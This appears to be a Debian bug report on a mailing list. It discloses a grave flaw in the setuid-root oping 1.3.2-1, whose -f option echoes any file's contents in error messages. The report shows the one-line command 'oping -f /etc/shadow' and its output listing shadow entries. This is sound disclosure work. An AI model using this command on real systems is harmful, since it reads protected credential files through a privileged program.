Package: oping
Version: 1.3.2-1
Justification: user security hole
Severity: grave
Tags: security

*** Please type your report below this line ***

 oping is setuid root and one of the command line arguments allows
 a configuration file to be specified.  This file is read and *reported*
 to the console.  (Unless the file contains contents which can be
 interpreted as a list of hostnames!)

 For example:

 s...@gold:~$ oping  -f /etc/shadow
 Adding host `root:$1eluded/value:14368:0:99999:7:::' failed: getaddrinfo: Name 
or service not known
 Adding host `daemon:*:13876:0:99999:7:::' failed: getaddrinfo: Name or service 
not known
 Adding host `bin:*:13876:0:99999:7:::' failed: getaddrinfo: Name or service 
not known
 Adding host `sys:*:13876:0:99999:7:::' failed: getaddrinfo: Name or service 
not known
 Adding host `sync:*:13876:0:99999:7:::' failed: getaddrinfo: Name or service 
not known
 Adding host `games:*:13876:0:99999:7:::' failed: getaddrinfo: Name or service 
not known

  This is clearly a security hole - however the good news is that the
 version(s) of oping included in lenny and etch are unaffected.

-- System Information:
Debian Release: squeeze/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 2.6.30-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash

Versions of packages oping depends on:
ii  libc6                         2.9-26     GNU C Library: Shared libraries
ii  liboping0                     1.3.2-1    C/C++ library to generate ICMP ECH

oping recommends no packages.

oping suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Reply via email to